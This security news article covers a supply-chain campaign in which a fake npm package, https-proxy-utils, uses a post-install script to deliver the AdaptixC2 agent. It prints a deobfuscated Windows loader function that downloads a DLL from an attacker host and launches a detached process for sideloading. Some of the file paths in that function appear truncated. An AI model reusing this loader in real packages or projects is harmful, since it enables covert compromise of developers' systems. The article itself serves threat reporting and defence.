Threat Actors Leverage npm Ecosystem to Deliver AdaptixC2 Post-Exploitation Framework

The AdaptixC2 post-exploitation framework emerged in 2025, representing a significant advancement in the tools available to attackers targeting open-source supply chains.

AdaptixC2 is positioned as a robust alternative to established tools such as Cobalt Strike, attracting threat actors who require agility and stealth in post-exploitation scenarios.

In October, researchers discovered its distribution through the npm package registry, marking a supply chain attack that targets developers and organizations relying on Node.js modules for infrastructure and application development.

The attack involved a deceptive npm package named https-proxy-utils , which mimicked legitimate libraries such as http-proxy-agent .

By cloning proxy-related features from popular modules, the malicious package appeared both useful and harmless.

Upon installation, the package executed a post-install script to download and deploy the AdaptixC2 agent on the victim’s system, establishing a stealthy foothold for remote access and further exploitation.

Securelist researchers were the first to identify and analyze the AdaptixC2 npm infection, noting the technical sophistication of the attack and its implications for open-source threat landscapes.

The growing npm ecosystem is increasingly exploited by attackers due to its trust and wide reach. This incident underscores the persistent risk posed by supply chain attacks, highlighting the necessity for vigilant vetting and continuous monitoring of open-source components.

Infection Mechanism: OS-Specific Adaptation

The AdaptixC2 npm campaign features a tailored infection strategy for various operating systems. Once executed, the malicious package detects the host OS and deploys the payload using methods specific to Windows, macOS, or Linux.

For Windows, the code sideloads the agent as a DLL alongside a legitimate executable, utilizing JavaScript scripting to initiate the compromised process.

Below is a deobfuscated snippet used for Windows deployment:

async function onWindows() { const url = 'https://cloudcenter.topsysupdate'; const dllPath = 'C:\\.dll'; const systemMsdtc = 'C:\\32.exe'; const tasksMsdtc = 'C:\\.exe'; try { await downloadFile(url, dllPath); fs.copyFileSync(systemMsdtc, tasksMsdtc); const child = spawn(tasksMsdtc, [], { detached: true, stdio: 'ignore' }); child.unref(); } catch (err) { console.error(err); } }

This flexible approach is also applied to macOS and Linux systems, using autorun configuration and architecture-specific binary delivery for persistent control.

Such OS-targeted infection routines enhance the framework’s ability to evade detection, broadening its potential for exploitation across diverse environments.

Based on reporting by Cyber Security News.